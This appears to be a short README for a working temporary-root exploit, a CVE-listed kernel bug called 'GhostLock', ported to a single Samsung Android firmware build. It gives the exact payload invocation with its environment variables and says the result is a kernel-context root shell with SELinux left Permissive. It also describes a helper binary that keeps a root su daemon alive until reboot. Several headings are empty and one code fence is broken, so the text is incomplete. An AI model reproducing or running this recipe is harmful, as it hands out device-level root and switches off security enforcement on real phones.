live

Temp root recipe (Track B) — per-boot, end state

CVE-2026-43499 (GhostLock) device-specific port for F956BXXS4DZI1 (kernel 6.1.145-android14-11-33418572-abF956BXXS4DZI1). Build details and offsets live in the device folder of the payload source; hashes here identify the working artifacts.

Working artifacts (DZI1)

Recipe (verified, one shot per boot)

sh

push payload + helper to /data/local/tmp, chmod 755, then:

cd /data/local/tmp FOPS_DELAY_USEC=30000 \ GHOSTLOCK_ROOT_SHELL=1 \ GHOSTLOCK_HOME=/data/local/tmp \ GHOSTLOCK_HELPER_PATH=/data/local/tmp/pompomsu-helper \ GHOSTLOCK_KSUD_PATH=/data/local/tmp/ksud \ ./payload

The handoff drops you into a root shell (`uid=0(root) gid=0(root)
context=u:r:kernel:s0`). SELinux ends Permissive until reboot. With the persist helper
build, the su daemon survives the payload exit:

```sh```
# any adb shell, until next reboot:
/data/local/tmp/pompomsu-helper <command>   # run <command> as root
/data/local/tmp/pompomsu-helper             # root shell

Timing notes (empirically dialed)

Important